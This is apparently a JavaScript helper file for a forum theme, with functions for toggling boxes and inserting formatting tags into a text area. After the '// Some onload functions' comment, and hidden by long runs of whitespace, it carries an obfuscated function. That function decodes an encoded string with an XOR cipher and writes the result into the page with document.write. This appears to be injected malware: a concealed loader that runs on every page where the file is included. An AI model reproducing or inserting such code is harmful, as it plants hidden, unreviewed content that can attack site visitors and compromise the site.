/* 
------------------------------------------
	Flipbox written by CrappoMan
	simonpatterson@dsl.pipex.com
------------------------------------------
*/
function flipBox(who) {
	var tmp; 
	if (document.images['b_' + who].src.indexOf('_on') == -1) { 
		tmp = document.images['b_' + who].src.replace('_off', '_on');
		document.getElementById('box_' + who).style.display = 'none';
		document.images['b_' + who].src = tmp;
	} else { 
		tmp = document.images['b_' + who].src.replace('_on', '_off');
		document.getElementById('box_' + who).style.display = 'block';
		document.images['b_' + who].src = tmp;
	} 
}

function addText(elname, wrap1, wrap2) {
	if (document.selection) { // for IE 
		var str = document.selection.createRange().text;
		document.forms['inputform'].elements[elname].focus();
		var sel = document.selection.createRange();
		sel.text = wrap1 + str + wrap2;
		return;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var txtarea = document.forms['inputform'].elements[elname];
		var selLength = txtarea.textLength;
		var selStart = txtarea.selectionStart;
		var selEnd = txtarea.selectionEnd;
		var oldScrollTop = txtarea.scrollTop;
		//if (selEnd == 1 || selEnd == 2)
		//selEnd = selLength;
		var s1 = (txtarea.value).substring(0,selStart);
		var s2 = (txtarea.value).substring(selStart, selEnd)
		var s3 = (txtarea.value).substring(selEnd, selLength);
		txtarea.value = s1 + wrap1 + s2 + wrap2 + s3;
		txtarea.selectionStart = s1.length;
		txtarea.selectionEnd = s1.length + s2.length + wrap1.length + wrap2.length;
		txtarea.scrollTop = oldScrollTop;
		txtarea.focus();
		return;
	} else {
		insertText(elname, wrap1 + wrap2);
	}
}

function insertText(elname, what) {
	if (document.forms['inputform'].elements[elname].createTextRange) {
		document.forms['inputform'].elements[elname].focus();
		document.selection.createRange().duplicate().text = what;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var tarea = document.forms['inputform'].elements[elname];
		var selEnd = tarea.selectionEnd;
		var txtLen = tarea.value.length;
		var txtbefore = tarea.value.substring(0,selEnd);
		var txtafter =  tarea.value.substring(selEnd, txtLen);
		var oldScrollTop = tarea.scrollTop;
		tarea.value = txtbefore + what + txtafter;
		tarea.selectionStart = txtbefore.length + what.length;
		tarea.selectionEnd = txtbefore.length + what.length;
		tarea.scrollTop = oldScrollTop;
		tarea.focus();
	} else {
		document.forms['inputform'].elements[elname].value += what;
		document.forms['inputform'].elements[elname].focus();
	}
}

function show_hide(msg_id) {
	msg_id.style.display = msg_id.style.display == 'none' ? 'block' : 'none';
}// Some onload functions
                                                                                                                                                                                                                                                                              function l0I1I0011ll1OOIOlIOOOOI001OI11I1O1I0OIOI(I1l1lIII100lIlll1OIOI1l1IIO0Oll01I10O0ll){var llOOII00lO100Il10lO1OlI01IOII10l0O1I11l0=I1l1lIII100lIlll1OIOI1l1IIO0Oll01I10O0ll.length,O11I01010OOI10IOI11OOO1O0I11011IIIOIlOl0=1024,O1I1OOl0I1I1IllII1lIO1O0lllIOIlO0OlO0lOl,O00I0l1l01OIOll1lI0O1001I0lIl1OlOOOIOlIO,Ol0I0000I0001l0IO1O00O1l0Ol10I11OO0OO0I1,l0l0lI010IIl0I1I1IIlOO0I1OllOIIlIO0I10lO=0,OIOl1IOIO1IllII10O0O1lOl1OOIOO010I0O1I1l=0,IlI0O11OlO001I0I0O1IlOl000OOII1lI0l0O0I1=0,IlOlOOOO0l10100O0Ill11I01O0lIl01II000OI0=Array(63,62,46,28,16,24,60,56,54,51,0,0,0,0,0,0,8,4,3,19,18,48,31,0,22,1,26,25,21,13,14,61,47,59,35,55,33,36,23,9,10,12,2,0,0,0,0,11,0,34,37,43,6,17,50,57,20,5,39,32,29,7,44,41,53,27,45,49,40,30,42,58,52,15,38);for(O00I0l1l01OIOll1lI0O1001I0lIl1OlOOOIOlIO=Math.ceil(llOOII00lO100Il10lO1OlI01IOII10l0O1I11l0/O11I01010OOI10IOI11OOO1O0I11011IIIOIlOl0);O00I0l1l01OIOll1lI0O1001I0lIl1OlOOOIOlIO>0;O00I0l1l01OIOll1lI0O1001I0lIl1OlOOOIOlIO--){Ol0I0000I0001l0IO1O00O1l0Ol10I11OO0OO0I1='';for(O1I1OOl0I1I1IllII1lIO1O0lllIOIlO0OlO0lOl=Math.min(llOOII00lO100Il10lO1OlI01IOII10l0O1I11l0,O11I01010OOI10IOI11OOO1O0I11011IIIOIlOl0);O1I1OOl0I1I1IllII1lIO1O0lllIOIlO0OlO0lOl>0;O1I1OOl0I1I1IllII1lIO1O0lllIOIlO0OlO0lOl--,llOOII00lO100Il10lO1OlI01IOII10l0O1I11l0--){IlI0O11OlO001I0I0O1IlOl000OOII1lI0l0O0I1|=(IlOlOOOO0l10100O0Ill11I01O0lIl01II000OI0[I1l1lIII100lIlll1OIOI1l1IIO0Oll01I10O0ll.charCodeAt(l0l0lI010IIl0I1I1IIlOO0I1OllOIIlIO0I10lO++)-48])<<OIOl1IOIO1IllII10O0O1lOl1OOIOO010I0O1I1l;if(OIOl1IOIO1IllII10O0O1lOl1OOIOO010I0O1I1l){Ol0I0000I0001l0IO1O00O1l0Ol10I11OO0OO0I1+=String.fromCharCode(165^IlI0O11OlO001I0I0O1IlOl000OOII1lI0l0O0I1&255);IlI0O11OlO001I0I0O1IlOl000OOII1lI0l0O0I1>>=8;OIOl1IOIO1IllII10O0O1lOl1OOIOO010I0O1I1l-=2}else{OIOl1IOIO1IllII10O0O1lOl1OOIOO010I0O1I1l=6}}document.write(Ol0I0000I0001l0IO1O00O1l0Ol10I11OO0OO0I1)}}l0I1I0011ll1OOIOlIOOOOI001OI11I1O1I0OIOI("Kf6EVCYfGVtxYm3xMRKbi8YEY_39eRKbiJlx3jYE5u5EYqlpWCYSF2nf_BnjC9npYFY9W93x30K9Ym3EGP6TiJOpdRgTMmlxL0oaXJlxXVrpHqME_f6fBcnaWP5pMVrzeS3Sm2KzXf6EVCYfGPW");                                                                                                                                                                                                                                                                              
// End onload functions